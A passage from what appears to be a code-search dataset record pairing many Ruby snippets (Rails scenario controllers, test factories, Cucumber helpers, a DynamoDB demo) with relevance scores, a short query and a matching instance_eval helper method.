/\n # have no dataset assigned yet. The graphs are both permanent objects,\n # they stay in memory forever. So we need two different graph objects\n # (and nested objects) for present/future.\n loader = Etsource::Loader.instance\n @present_graph = loader.energy_graph\n @future_graph = loader.energy_graph\n # Assign the dataset. It is not yet assigned to the present/future\n # graphs yet, which will happen with #init_datasets or #prepare. This\n # allows for more flexibility with caching. The @dataset will hold\n # the present dataset, without any updates run. However some updates\n # also update the present graph, so it is not completely identical.\n @dataset = loader.dataset(@scenario.area_code)\n\n if block_given?\n self.init_datasets\n self.update_graphs\n yield self\n self.calculate_graphs\n end\n end\n end", "def setup(step_name, &block)\n if block_given?\n Step.new.tap do |step|\n step.define_singleton_method :run, &block\n step.step_title = step_name.to_s.titleize\n end.run!\n else\n klass = \"Stairs::Steps::#{step_name.to_s.camelize}\".constantize\n klass.new.run!\n end\n end", "def create\n @scenario = Scenario.new(params[:scenario])\n\n respond_to do |format|\n if @scenario.save\n format.html { redirect_to @scenario, notice: 'Scenario was successfully created.' }\n format.json { render json: @scenario, status: :created, location: @scenario }\n else\n format.html { render action: \"new\" }\n format.json { render json: @scenario.errors, status: :unprocessable_entity }\n end\n end\n end", "def register_scenario(project_name, scenario)\n\n register_example_rows = true\n\n scenario_example = scenario\n if scenario.class == Cucumber::Ast::OutlineTable::ExampleRow #for senario outline\n scenario_example = scenario.scenario_outline\n end\n\n feature_name, line_number = scenario_example.file_colon_line.split(':')\n\n feature_name = feature_name.sub(/.*features\\//, '') #extract path only start from\n #abcd.feature onward\n scenario_name = scenario.respond_to?(\"scenario_outline\") ?\n scenario.scenario_outline.name : scenario.name\n\n scenario_data = [project_name, feature_name, scenario_name, line_number]\n scenario_data_hash = {\n 'id' => @tc_id_map[:next_available_tc_id],\n 'feature_name' => feature_name,\n 'scenario_name' => scenario_name,\n 'line_number' => line_number\n }\n\n unless scenario_exists_in_map?(project_name, scenario_data_hash)\n @tc_id_map[:tc_map][@tc_id_map[:next_available_tc_id]] = scenario_data\n @tc_id_map[:next_available_tc_id] += 1\n update_scenario_look_up_map(project_name, scenario_data_hash)\n save_yml_test_case_map()\n end\n\n #also register each example in the scenario outline, default not save\n if register_example_rows and scenario.respond_to?(\"scenario_outline\")\n example_data_hash = scenario_data_hash.dup\n example_data = scenario_data.dup\n example_data_hash['scenario_name'] = scenario.name\n example_data[2] = scenario.name\n unless scenario_exists_in_map?(project_name, example_data_hash)\n example_data_hash['id'] = @tc_id_map[:next_available_tc_id]\n @tc_id_map[:tc_map][@tc_id_map[:next_available_tc_id]] = example_data\n @tc_id_map[:next_available_tc_id] += 1\n update_scenario_look_up_map(project_name, example_data_hash)\n save_yml_test_case_map()\n end\n end\n\n end", "def create\n @scenario = Scenario.new(scenario_params)\n\n respond_to do |format|\n if @scenario.save\n format.html { redirect_to @scenario, notice: 'Scenario was successfully created.' }\n format.json { render :show, status: :created, location: @scenario }\n else\n format.html { render :new }\n format.json { render json: @scenario.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @step = Step.new\n end", "def create\n @scenario = Scenario.new(params[:scenario])\n @scenario.project_id = @project.id\n\n respond_to do |format|\n if(@scenario.save)\n flash[:notice] = @scenario.name + ', was successfully created. You may configure the scenario below.'\n format.html { redirect_to edit_project_configuration_scenario_path(@project, @scenario) }\n format.xml { render :xml => @scenario, :status => :created, :location => @scenario }\n else\n clear_fields\n format.html { render :action => :new }\n format.api { render_validation_errors(@scenario) } \n end\n end\n end", "def build(&block)\n Util.instance_eval_or_call(dsl, &block)\n self\n end", "def build(&block)\n Util.instance_eval_or_call(dsl, &block)\n self\n end", "def initialize(_dsl)\n @dsl = _dsl\n end", "def scenario\n unless @scenarios_loaded\n scenario_file = File.expand_path(\"./scenarios/#{self.class.name.underscore}.scenario\", @@current_dir)\n if File.exists?(scenario_file)\n self.instance_eval File.read(scenario_file), __FILE__, __LINE__ + 1\n else\n raise ScenarioFileNotFoundError.new(\"File #{scenario_file} not found\")\n end \n @scenarios_loaded = true\n end\n end", "def start_scenario_with_param\n return unless params[:scenario_id]\n\n new_scenario = Api::Scenario.create(\n scenario: { scenario: { scenario_id: params[:scenario_id] } }\n )\n\n Current.setting.api_session_id = new_scenario.id\n end", "def create\n # Curious where ScenarioLoader lives? lib/scenario_loader.rb\n @scenario = ScenarioLoader.new(user: @user,\n name: scenario_params[:name],\n location: scenario_params[:location])\n .fire!\n\n respond_to do |format|\n if @scenario.errors.any?\n @scenario.destroy\n if Rails.env == 'production'\n format.html { redirect_to '/scenarios/new', alert: \"There was an error creating Scenario #{@scenario.name} please contact administrator.\"}\n else\n format.html { redirect_to '/scenarios/new', alert: \"There was an error creating Scenario #{@scenario.name}. #{@scenario.errors.messages}\"}\n end\n else\n format.html { redirect_to @scenario, notice: 'Scenario was successfully created.' }\n end\n end\n end", "def create name='', config={}, project=nil\n @@step_map[name.to_sym].new(name, config, project) || Step.new(name, config, project)\n end", "def make(name = default_fauxture_name, attributes = {})\n name, attributes = default_fauxture_name, name if name.is_a? Hash\n Sweatshop.make(self, name, attributes)\n end", "def build\n if @scenarioYAML[\"STUDENT_COUNT\"]\n build_world_from_students\n #elsif !@scenarioYAML[\"SCHOOL_COUNT\"].nil?\n # build_world_from_edOrgs()\n # --> not supported yet\n else\n @log.error \"STUDENT_COUNT or SCHOOL_COUNT must be set for a world to be created --> Exiting...\"\n end\n @world\n end", "def set_step_scenario\n @step_scenario = StepScenario.find(params[:id])\n end", "def Feature(name, opts = {}, &block)\n test_class = Class.new(opts[:testcase_class] || Coulda.default_testcase_class || Test::Unit::TestCase)\n\n assign_class_to_const test_class, name\n test_class.instance_eval do\n extend YourDSL\n record_your_dsl :only => Coulda::KEYWORDS, :retain_blocks_for => Coulda::PROC_KEYWORDS\n end\n test_class.instance_eval &block if block_given?\n\n World.register_feature(name, test_class.output)\n\n generate_test_methods_from test_class\n\n test_class\n end", "def new_goal(options = {})\n Goal.new(options)\n end", "def make_thing(io, name = \"A Thing\", description = \"This is a thing.\", script = \"\")\n thing = Simthing.new\n thing.name = name\n thing.description = description\n thing.script = script\n thing.creatorname = io.name\n thing.strength = 50\n thing.weight = 10\n thing.portable = true\n thing.visible = true\n thing.container = false\n thing.platform = false\n thing.clothing = false\n thing.uniqueid = Simthing.randid\n thing.save!\n thing\n end", "def set_scenario\n @scenario = Scenario.find(params[:id])\n end", "def set_scenario\n @scenario = Scenario.find(params[:id])\n end", "def set_scenario\n @scenario = Scenario.find(params[:id])\n end", "def set_scenario\n @scenario = Scenario.find(params[:id])\n end", "def scenario_outline scenario_outline_obj\n current_feature.scenarios << scenario_outline_obj\n @current_scenario = scenario_outline_obj\n end", "def set_scenario\r\n @scenario = Scenario.find(params[:id])\r\n end", "def cucumber_wrapper\n cucumber = `cucumber features/#{@feature.gsub(\" \", \"_\")}.feature`\n File.open(\"features/step_definitions/#{@feature.gsub(\" \", \"_\")}.steps.rb\", 'w') do |parsed_steps|\n parsed_steps.write cucumber.split(\"You can implement step definitions for undefined steps with these snippets:\\n\\n\").last\n end\n end", "def to_scenario\n self\n end", "def create_sample(klass, options={})\n klass.create(@@sample[klass].merge(options))\n end", "def scenario_params\n params.require(:scenario).permit(:name, :node_id)\n end", "def create_object\n sut.send(:new)\n end", "def run_scenario\n banner\n puts \"######################################################################################################\".yellow\n puts \"# #\".yellow\n puts \"# EXAMPLE CODE DEMO: #\".yellow\n puts \"# Amazon DynamoDB #\".yellow\n puts \"# #\".yellow\n puts \"######################################################################################################\".yellow\n puts \"\"\n puts \"You have launched a demo of Amazon DynamoDB using the AWS for Ruby v3 SDK. Over the next 60 seconds, it will\"\n puts \"do the following:\"\n puts \" 1. Create a new DynamoDB table.\"\n puts \" 2. Write batch data into the table\"\n puts \" 3. Update an item in the table\"\n puts \" 4. Delete an item in the table.\"\n puts \" 5. Query the table using PartiQL.\"\n puts \" 6. Scan the table using PartiQL.\"\n puts \" 7. Destroy the DynamoDB table.\"\n puts \"\"\n\n confirm_begin\n billing\n security\n puts \"\\e[H\\e[2J\"\n\n # snippet-start:[ruby.example_code.dynamodb.Scenario_Basics]\n table_name = \"doc-example-table-movies-#{rand(10**4)}\"\n scaffold = Scaffold.new(table_name)\n dynamodb_wrapper = DynamoDBBasics.new(table_name)\n\n new_step(1, \"Create a new DynamoDB table if none already exists.\")\n unless scaffold.exists?(table_name)\n puts(\"\\nNo such table: #{table_name}. Creating it...\")\n scaffold.create_table(table_name)\n print \"Done!\\n\".green\n end\n\n new_step(2, \"Add a new record to the DynamoDB table.\")\n my_movie = {}\n my_movie[:title] = CLI::UI::Prompt.ask(\"Enter the title of a movie to add to the table. E.g. The Matrix\")\n my_movie[:year] = CLI::UI::Prompt.ask(\"What year was it released? E.g. 1989\").to_i\n my_movie[:rating] = CLI::UI::Prompt.ask(\"On a scale of 1 - 10, how do you rate it? E.g. 7\").to_i\n my_movie[:plot] = CLI::UI::Prompt.ask(\"Enter a brief summary of the plot. E.g. A man awakens to a new reality.\")\n dynamodb_wrapper.add_item(my_movie)\n puts(\"\\nNew record added:\")\n puts JSON.pretty_generate(my_movie).green\n print \"Done!\\n\".green\n\n new_step(3, \"Update a record in the DynamoDB table.\")\n my_movie[:rating] = CLI::UI::Prompt.ask(\"Let's update the movie you added with a new rating, e.g. 3:\").to_i\n response = dynamodb_wrapper.update_item(my_movie)\n puts(\"Updated '#{my_movie[:title]}' with new attributes:\")\n puts JSON.pretty_generate(response).green\n print \"Done!\\n\".green\n\n new_step(4, \"Get a record from the DynamoDB table.\")\n puts(\"Searching for #{my_movie[:title]} (#{my_movie[:year]})...\")\n response = dynamodb_wrapper.get_item(my_movie[:title], my_movie[:year])\n puts JSON.pretty_generate(response).green\n print \"Done!\\n\".green\n\n new_step(5, \"Write a batch of items into the DynamoDB table.\")\n download_file = \"moviedata.json\"\n puts(\"Downloading movie database to #{download_file}...\")\n movie_data = fetch_movie_data(download_file)\n puts(\"Writing movie data from #{download_file} into your table...\")\n scaffold.write_batch(movie_data)\n puts(\"Records added: #{movie_data.length}.\")\n print \"Done!\\n\".green\n\n new_step(5, \"Query for a batch of items by key.\")\n loop do\n release_year = CLI::UI::Prompt.ask(\"Enter a year between 1972 and 2018, e.g. 1999:\").to_i\n results = dynamodb_wrapper.query_items(release_year)\n if results.any?\n puts(\"There were #{results.length} movies released in #{release_year}:\")\n results.each do |movie|\n puts(\"\\t #{movie[\"title\"]}\").green\n end\n break\n else\n continue = CLI::UI::Prompt.ask(\"Found no movies released in #{release_year}! Try another year? (y/n)\")\n break if !continue.eql?(\"y\")\n end\n end\n print \"\\nDone!\\n\".green\n\n new_step(6, \"Scan for a batch of items using a filter expression.\")\n years = {}\n years[:start] = CLI::UI::Prompt.ask(\"Enter a starting year between 1972 and 2018:\")\n years[:end] = CLI::UI::Prompt.ask(\"Enter an ending year between 1972 and 2018:\")\n releases = dynamodb_wrapper.scan_items(years)\n if !releases.empty?\n puts(\"Found #{releases.length} movies.\")\n count = Question.ask(\n \"How many do you want to see? \", method(:is_int), in_range(1, releases.length))\n puts(\"Here are your #{count} movies:\")\n releases.take(count).each do |release|\n puts(\"\\t#{release[\"title\"]}\")\n end\n else\n puts(\"I don't know about any movies released between #{years[:start]} \"\\\n \"and #{years[:end]}.\")\n end\n print \"\\nDone!\\n\".green\n\n new_step(7, \"Delete an item from the DynamoDB table.\")\n answer = CLI::UI::Prompt.ask(\"Do you want to remove '#{my_movie[:title]}'? (y/n) \")\n if answer.eql?(\"y\")\n dynamodb_wrapper.delete_item(my_movie[:title], my_movie[:year])\n puts(\"Removed '#{my_movie[:title]}' from the table.\")\n print \"\\nDone!\\n\".green\n end\n\n new_step(8, \"Delete the DynamoDB table.\")\n answer = CLI::UI::Prompt.ask(\"Delete the table? (y/n)\")\n if answer.eql?(\"y\")\n dynamodb_wrapper.delete_table\n puts(\"Deleted #{table_name}.\")\n else\n puts(\"Don't forget to delete the table when you're done!\")\n end\n print \"\\nThanks for watching!\\n\".green\nrescue Aws::Errors::ServiceError\n puts(\"Something went wrong with the demo.\")\nrescue Errno::ENOENT\n true\nend", "def default(&block)\n @scenarios[:default] = scenario = Scenario.new(@_method_name, &block)\n\n scenario_orchestrator = Scenario::Orchestrator.new(@_mock_class, @_mock_double, @_scope, @_method_name)\n\n # NOTE: we can't use RSpec mock methods here because :default is called outside of a\n # test scope. so we have added some :default_scenario* methods instead\n @_mock_double.add_default_scenario(@_method_name, proc do |*args, &datasource_block|\n scenario_orchestrator.with(*args).execute_scenario(scenario, &datasource_block)\n end)\n\n scenario\n end", "def create_section_context\n @wy_belt_sparring = FactoryGirl.create(:section, event: @sparring, tournament: @fall)\n @wy_belt_breaking = FactoryGirl.create(:section, event: @breaking, tournament: @fall, location: \"Stage\")\n @wy_belt_forms = FactoryGirl.create(:section, event: @forms, tournament: @fall)\n @r_belt_breaking = FactoryGirl.create(:section, event: @breaking, min_rank: 8, max_rank: 10, min_age: 13, max_age: 15, tournament: @fall)\n @r_belt_sparring = FactoryGirl.create(:section, event: @sparring, min_rank: 8, max_rank: 10, min_age: 13, max_age: 15, active: false, tournament: @fall)\n @bl_belt_breaking = FactoryGirl.create(:section, event: @breaking, min_rank: 11, max_rank: nil, min_age: 18, max_age: nil, tournament: @dans)\n end", "def step_scenario_params\n params.require(:step_scenario).permit(:sequence, :description)\n end", "def initialize(&block)\n unload\n @environment = 'development'\n @load_directories = []\n @dsl = Moonrope::DSL::BaseDSL.new(self)\n @dsl.instance_eval(&block) if block_given?\n end", "def create\n \n @step = @quest.steps.new(params[:step])\n\n \n \n if @step.save\n redirect_to (quest_path(@quest)), notice: 'Step was successfully created.'\n\n else\n render action: \"new\" \n end\n end", "def setup(&block)\n scenario.setups << block\n end", "def initialize(location, scenario)\n super(location)\n @start_line = location.match(/:(?<line>\\d*)$/)[:line].to_i\n @steps = []\n @inline_tables = {}\n @examples_table = []\n split_scenario(scenario)\n end", "def scenarios_params\n params.require(:scenario).permit(:title, :content)\n end", "def scenario_params\n params.require(:scenario).permit(:game_type, :name, :template)\n end", "def create_question(question) \n visit questions_path\n \n click_on \"Ask question\"\n fill_in \"Title\", with: question.title\n fill_in \"Body\", with: question.body\n click_on \"Create\"\n end", "def scenario_params\n params.require(:scenario).permit(\n :tag_list, :name, :description, :solution_id, scenario_steps_attributes: [\n :step_type, :step_value, :_destroy, :id, :step_value_key, :step_value_with\n ]\n )\n end", "def build(step)\n step = default_step if step.blank?\n form_name = \"ProjectForm::#{step.capitalize}Form\".constantize\n create_form! form_name, step\n rescue NameError\n nil\n end", "def create\n ss_params = params.require(:saved_scenario)\n .permit(:description, :api_session_id, :title)\n\n raise NoScenarioIdError, self if ss_params[:api_session_id].blank?\n\n begin\n CreateSavedScenario.call(\n ss_params[:api_session_id],\n current_user,\n ss_params\n )\n\n if ss_params[:title]\n Current.setting.active_scenario_title = ss_params[:title]\n end\n\n redirect_to scenarios_path\n end\n end", "def start_scenario(_scenario)\n raise NotImplementedError.new \\\n \"#{self.class.name}#start_scenario must be implemented in subclass.\"\n end", "def build(&ruby_block)\n # Use local variable for accessing the attribute since they will\n # be hidden when opening the sytem.\n name = @name\n stages = @stages\n namespace = @namespace\n this = self\n mk_ev = @mk_ev\n mk_rst = @mk_rst\n scope = HDLRuby::High.cur_system.scope\n\n return_value = nil\n\n # Enters the current system\n HDLRuby::High.cur_system.open do\n sub do\n HDLRuby::High.space_push(namespace)\n # Execute the instantiation block\n return_value =HDLRuby::High.top_user.instance_exec(&ruby_block)\n HDLRuby::High.space_pop\n\n # Create the pipeline code.\n \n # Declare and register the pipeline registers generators.\n prs = []\n stages.each do |st|\n st.each do |rn|\n r = PipeSignal.new(name.to_s+\"::\"+rn.to_s,scope)\n prs << r\n namespace.add_method(rn) { r }\n end\n end\n\n # Build the pipeline structure.\n return_value = par(mk_ev.call) do\n hif(mk_rst.call == 0) do\n # No reset, pipeline handling.\n stages.each do |st|\n # Generate the code for the stage.\n HDLRuby::High.space_push(namespace)\n HDLRuby::High.top_user.instance_exec(&st.code)\n HDLRuby::High.space_pop\n end\n end\n helse do\n prs.each { |r| r <= 0 }\n end\n end\n end\n end\n\n return return_value\n end", "def create\n @step_scenario = StepScenario.new(step_scenario_params)\n @step_scenario.scenario_id = current_scenario.id\n\n respond_to do |format|\n if @step_scenario.save\n format.html { redirect_to scenario_path(current_scenario), notice: \"Passo do cenário cadastrado com sucesso!\" }\n format.json { render :show, status: :created, location: @step_scenario }\n else\n format.html { render :new }\n format.json { render json: @step_scenario.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_question(question_text,question_bank_id,tenant_id,question_type,explanation,direction_id,passage_id)\n question = Question.new\n question.question_text = question_text\n question.question_bank_id = question_bank_id\n question.tenant_id = tenant_id\n question.explanation = explanation\n question.question_type = question_type\n question.save\n question_attribute = create_question_attribute(question.id,\"\",question_bank_id,\"\",\"\",\"\",direction_id,passage_id,\"\",\"\",tenant_id)\n question_attribute.update_attribute(\"difficulty_id\",get_difficulty(\"not defined\"))\n unless question_type.nil? or question_type.blank?\n question_type = QuestionType.find_by_value(question_type)\n question_attribute.update_attribute(\"question_type_id\",question_type.id)\n end\n return question\n end", "def build(name, provider = :aws, &block)\n provider = Bogo::Utility.snake(provider).to_sym\n rs = Creator::RuleSet.new(provider)\n rs.instance_exec(&block)\n self.new(name, provider, rs.items)\n end", "def define_step(regex, &blk)\n steps[regex] = blk\n end", "def build(name, *traits_and_overrides, &block)\n FactoryRunner.new(name, Strategy::Build, traits_and_overrides).run(&block)\n end", "def create_harvest_workspace(source)\n Workspace.create!(original_id: 1, source_name: 'harvest', source_id: source.id)\n end", "def factory_twiml_block(meth, *args)\n if meth =~ /twiml_appointments_/\n klass = meth.to_s.gsub(\"twiml_appointments_\", \"skej/twiml/appointments/\").classify\n else\n klass = meth.to_s.gsub(\"twiml_\", \"skej/twiml/\").classify\n end\n\n # Make the string representation a real Class object.\n klass = klass.constantize\n\n # Prepare view local variables\n data = { device: @device, session: @session, debug: generate_debug_formatted_message }\n if args.length > 0 and args[0].kind_of? Hash\n data.merge! args[0]\n end\n\n log \"twiml_view_factory -> #{klass.name.underscore}\"\n\n # Instantiate the new instance from the dynamic Klass\n # we generated earlier.\n instance = klass.new(data)\n\n # Return the TwiML view instance\n instance\n end", "def create\n @scenario = Scenario.new(scenario_params)\n\t@scenario.field_id = session[:field_id]\n \n\trespond_to do |format|\n if @scenario.save\n\t\t@scenarios = Scenario.where(:field_id => session[:field_id])\n\t\tformat.html { render action: \"list\" }\n else\n format.html { render action: \"new\" }\n format.json { render json: @scenario.errors, status: :unprocessable_entity }\n end\n end\n end", "def scenario_params\n params.require(:scenario).permit(:game_type, :name, :template, :location)\n end", "def new\n @step = @task.steps.build\n end", "def new_scenario_params\n params.require(:scenario).permit(:name, :location)\n end", "def unsupported_type\n FactoryBot.create(:investigation)\n end", "def step(step_handler, **params, &block)\n steps << init_step(step_handler, params, &block)\n end", "def new\n @tactic = Tactic.new\n end", "def adapt_scenario(test_ast)\n adapted_scenario = {}\n\n # Saving off the original data and removing parsed data for child elements in order to avoid duplicating data\n save_original_data(adapted_scenario, test_ast)\n clear_child_elements(adapted_scenario, [[:scenario, :tags],\n [:scenario, :steps]])\n\n adapted_scenario['type'] = 'Scenario'\n adapted_scenario['keyword'] = test_ast.scenario.keyword\n adapted_scenario['name'] = test_ast.scenario.name\n adapted_scenario['description'] = test_ast.scenario.description\n adapted_scenario['line'] = test_ast.scenario.location.line\n adapted_scenario['column'] = test_ast.scenario.location.column\n\n adapted_scenario['tags'] = adapt_tags(test_ast.scenario)\n adapted_scenario['steps'] = adapt_steps(test_ast.scenario)\n\n adapted_scenario\n end", "def new_blog(options={})\n\t\tFactoryGirl.build(:blog,options)\n\tend", "def create_suite(ir, project_id, suite, parent)\n ir[:children].each do |child|\n if @mappings.context.include?(child[:type])\n section = parent.find_or_create_section(:project_id => project_id, :suite_id => suite.id, :name => child[:name]) \n create_suite(child, project_id, suite, section) if child[:children].count > 0\n\n elsif @mappings.case.include?(child[:type])\n parent = suite if parent.nil? \n tcase = parent.find_or_create_test_case(:title => child[:name])\n @case_status[:\"#{tcase.id}\"] = child[:status]\n\n else\n # To be added. Ex: steps \n end # if\n end # each\n end", "def initialize(scenario)\n $stdout.sync = true\n @log = Logger.new($stdout)\n @log.level = Logger::INFO\n\n @entities = Hash.new # leave default value of nil for hash key not existing\n @tracker = EntityTracker.new\n @scenario = Scenario.new(scenario)\n end", "def define_builder(klass, options={}, &block)\n builder = Builder.new(klass, :as => options.delete(:as))\n add_builder(builder)\n\n if block_given?\n define_new(builder, &block)\n else\n define_new(builder) do |proxy, overrides|\n proxy.new(options.merge(overrides))\n end\n end\n\n define_create(builder)\n define_valid_attributes(builder)\n end", "def create_story_from_caliber(requirement)\r\n\r\n req_id = requirement['id']\r\n req_hierarchy = requirement['hierarchy']\r\n req_project = requirement['project']\r\n req_description = requirement['description']\r\n\r\n @logger.info \"Processing Caliber Requirement ID: #{req_id}; Hierarchy: #{req_hierarchy}; Project: #{req_project}\"\r\n\r\n story = {}\r\n story[\"Name\"] = make_name(requirement, :requirement)\r\n story[\"Description\"] = create_markup_from_hash(requirement, @description_field_hash,\r\n :requirement)\r\n story[\"Notes\"] = make_requirement_notes(requirement)\r\n story[@caliber_id_field_name] = requirement['id']\r\n begin\r\n story = @rally.create(\"hierarchicalrequirement\", story)\r\n story.read\r\n story_oid = story['ObjectID']\r\n @logger.info \"Successfully Created Rally Story: ObjectID #{story_oid}; from CaliberID: #{req_id}.\"\r\n return story\r\n rescue => ex\r\n @logger.error \"Error occurred creating Rally Story from Caliber Requirement ID: #{req_id}. Not imported.\"\r\n @logger.error ex.message\r\n @logger.error ex.backtrace\r\n end\r\n end", "def step(step)\n @table_owner = YARD::CodeObjects::Lucid::Step.new(@step_container,\"#{step[:location][:line]}\") do |s|\n s.keyword = step[:keyword]\n s.value = step[:text]\n s.add_file(@file,step[:location][:line])\n end\n\n @table_owner.comments = step[:comments] ? step[:comments].map{|comment| comment.value}.join(\"\\n\") : ''\n\n multiline_arg = step[:argument]\n\n case(multiline_arg[:type])\n when :DocString\n @table_owner.text = multiline_arg[:content]\n when :DataTable\n @table_owner.table = matrix(multiline_arg[:rows])\n end if multiline_arg\n\n @table_owner.scenario = @step_container\n @step_container.steps << @table_owner\n end", "def create_snippet(name, template = nil)\n snippet = @site.snippets.create(:name => name, :template => template)\n snippet.should be_valid\n snippet\nend", "def initialize(settings={}, &block)\n @context = settings[:context]\n @target = settings[:target]\n @label = settings[:label]\n @setup = settings[:setup]\n @skip = settings[:skip]\n @tags = settings[:tags]\n\n @advice = @context ? @context.advice.dup : TestAdvice.new\n\n @tests = []\n @domain = domain_class.new(self)\n\n validate_settings\n\n evaluate(&block)\n end", "def new_plant(stem_type, leaf_type)\n plant = Object.new \n\n if stem_type == :fleshy\n def plant.stem\n 'fleshy'\n end\n else\n def plant.stem\n 'woody'\n end\n end\n\n if leaf_type == :broad\n def plant.leaf \n 'broad'\n end\n else\n def plant.leaf \n 'needle'\n end\n end\n plant\nend", "def suite(description=nil, opts={}, &block)\n opts, description = description, nil if Hash === description\n suite = self.class.create(description, self, opts, &block)\n if append_to = @suites.assoc(description) then\n append_to.last.update(suite)\n else\n @suites << [description, suite]\n end\n suite\n end", "def generate *args\n FactoryGirl.create(factory_name, *args)\n end", "def create_section_context\n @wy_belt_sparring = FactoryGirl.create(:section, :event => @sparring, :tournament => @am)\n @wy_belt_breaking = FactoryGirl.create(:section, :event => @breaking, :tournament => @pm)\n @r_belt_breaking = FactoryGirl.create(:section, :event => @breaking, :tournament => @pm, :min_rank => 8, :max_rank => 10, :min_age => 13, :max_age => 15)\n @r_belt_sparring = FactoryGirl.create(:section, :event => @sparring, :tournament => @am, :min_rank => 8, :max_rank => 10, :min_age => 13, :max_age => 15, :active => false)\n @bl_belt_breaking = FactoryGirl.create(:section, :event => @breaking, :tournament => @pm, :min_rank => 11, :max_rank => nil, :min_age => 18, :max_age => nil)\n end", "def load_scenario(new_scenario, item)\n new_scenario.business_name = item['restaurant']['name']\n new_scenario.zomato_restaurant_id = item['restaurant']['id']\n new_scenario.location_lat = item['restaurant']['location']['latitude']\n new_scenario.location_lng = item['restaurant']['location']['longitude']\n new_scenario.zomato_address = item['restaurant']['location']['address']\n new_scenario.zomato_loc_city_id = item['restaurant']['location']['city_id']\n new_scenario.zomato_loc_city = item['restaurant']['location']['city']\n new_scenario.zomato_postal_code = item['restaurant']['location']['zipcode']\n new_scenario.zomato_cuisines = item['restaurant']['cuisines']\n new_scenario.zomato_user_rating = item['restaurant']['user_rating']['aggregate_rating']\n new_scenario.zomato_rating_text = item['restaurant']['user_rating']['rating_text']\n new_scenario.zomato_rating_color = item['restaurant']['user_rating']['rating_color']\n new_scenario.zomato_votes_count = item['restaurant']['user_rating']['votes']\n new_scenario.zomato_has_online_delivery = item['restaurant']['has_online_delivery']\n new_scenario.zomato_price_range = item['restaurant']['price_range']\n new_scenario.zomato_average_cost_for_two = item['restaurant']['average_cost_for_two']\n new_scenario.zomato_thumb = item['restaurant']['thumb']\n new_scenario\n end", "def execute_scenario(scenario, &datasource_block)\n # we do this crazy dance because we want scenario.to_proc to be run in the context\n # of self (an orchestrator) in order to enable nesting, but we also want to be\n # able to pass in a block. instance_exec would solve the context problem but\n # doesn't enable the passing of the block while simply calling the method would\n # allow passing the block but not changing the context.\n self.define_singleton_method :bound_proc, &scenario.to_proc\n data = self.bound_proc(*@_args, &datasource_block)\n\n represent(data, scenario)\n end", "def it(description=:__generate_description, opts={}, &block)\n example_definitions << create_example_definition(description, opts, &block)\n end", "def test_creates_new_class\n visit '/'\n click_link(\"Add Skills\")\n fill_in(\"first_name2\", with: \"BATMAN\")\n fill_in(\"textarea1\", with: \"ROAR\")\n click_button(\"create\")\n\n skill = SkillInventory.all.last\n\n assert_equal \"/skills\", current_path\n click_link \"BATMAN\"\n assert_equal \"/skills/#{skill.id}\", current_path\n within \"#skill\" do\n assert page.has_content?(\"BATMAN\")\n end\n end", "def build(attribs = {})\n b = KathyLee::Definition::Binding.new(self.factory_name, self.attributes.merge(attribs), &self.code_block)\n b.process!\n return b.result\n end", "def create\n @step = Step.new(params[:step])\n @test_case = TestCase.find(params[:test_case_id])\n @step.test_case_id = @test_case.id\n\n if @step.save\n flash[:notice] = \"Successfully created step.\"\n end\n respond_with @step\n end", "def initialize(scenario, opts = {})\n @scenario = scenario\n @scenario_options = @scenario.scenario_options\n\n defaults = { full_sipp_output: true, sudo: true }\n @options = defaults.merge(opts)\n\n @command = @options[:command]\n @logger = @options[:logger] || Logger.new(STDOUT)\n end", "def parser\n dsl.parser\n end", "def di(name, &block)\n rc = ::Dizzy::DSL::RuleContext.new\n rc.instance_exec(&block)\n\n di_define_method(name, rc.init_proc, rc.wire_proc)\n end", "def setup_scenario\n @first_group ||= Factory(:first_group)\n @second_group ||= Factory(:second_group)\n @first_group.next_group = @second_group\n @first_question ||= Factory(:first_question, :group => @first_group)\n @second_question ||= Factory(:second_question, :group => @first_group)\n @third_question ||= Factory(:third_question, :group => @second_group)\n @fourth_question ||= Factory(:fourth_question, :group => @second_group)\n @first_group.save\n @second_group.save\n user\n login\nend", "def new\n @scenario = Scenario.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @scenario }\n end\n end", "def wrap_feature(feature)\n Feature.new(feature)\n end", "def initialize(dsl, opts = nil)\n @dsl = dsl\n\n @left = opts[:left]\n @top = opts[:top]\n @width = opts[:width]\n @height = opts[:height]\n\n @fill, @stroke = @dsl.fill, @dsl.stroke\n if opts\n @container = opts[:app].gui.real\n @paint_callback = lambda do |event|\n gc = event.gc\n gcs_reset gc\n gc.set_antialias ::Swt::SWT::ON\n gc.set_background self.fill\n gc.setAlpha @fill.alpha\n gc.fill_oval(@left, @top, @width, @height)\n gc.set_foreground self.stroke\n gc.setAlpha @stroke.alpha\n gc.set_line_width self.strokewidth\n gc.draw_oval(@left, @top, @width, @height)\n end\n @container.add_paint_listener(@paint_callback)\n end\n end", "def jesture(name, &block)\n raise \"I need a block\" if !block_given?\n @jestures[name] = JestureDefinition.new(&block)\n end", "def scenario_params\n params.require(:scenario).permit(:name, :filename, :lines, :translated)\n end" ]
[ "0.6202684", "0.60801154", "0.586003", "0.5757599", "0.57109356", "0.5663901", "0.56305623", "0.5595193", "0.54649854", "0.53710634", "0.53421205", "0.5255694", "0.5247726", "0.5180668", "0.5177201", "0.5157452", "0.51307076", "0.5071125", "0.5032288", "0.5032288", "0.5001597", "0.4965727", "0.49613047", "0.4931394", "0.4931108", "0.49204716", "0.4918551", "0.48977876", "0.48757088", "0.4869917", "0.48647225", "0.48625094", "0.48625094", "0.48625094", "0.48625094", "0.48480248", "0.48323327", "0.48220974", "0.48219353", "0.47923207", "0.47839192", "0.47579953", "0.47555634", "0.47534743", "0.4734109", "0.4728538", "0.4723213", "0.47199392", "0.4717209", "0.4712595", "0.47106585", "0.47017452", "0.47003838", "0.46795693", "0.46712592", "0.46691507", "0.4668864", "0.4663584", "0.46608746", "0.4656806", "0.4655066", "0.46529204", "0.46477878", "0.46422604", "0.46421155", "0.4639655", "0.46308258", "0.4629838", "0.46250844", "0.46228334", "0.4619969", "0.46162796", "0.4604667", "0.46023193", "0.45987573", "0.45947826", "0.45871043", "0.4579873", "0.45797488", "0.4577475", "0.45744994", "0.4571488", "0.45635656", "0.4561944", "0.45614663", "0.45599988", "0.45538628", "0.45485225", "0.4543039", "0.45406887", "0.45325592", "0.4526146", "0.45249647", "0.4522483", "0.45213053", "0.45112967", "0.45112768", "0.4510409", "0.4509666", "0.45045426" ]
0.5155574
16
Semiprivate utilities Executes some code
def __execute(&block) self.instance_eval(&block) end
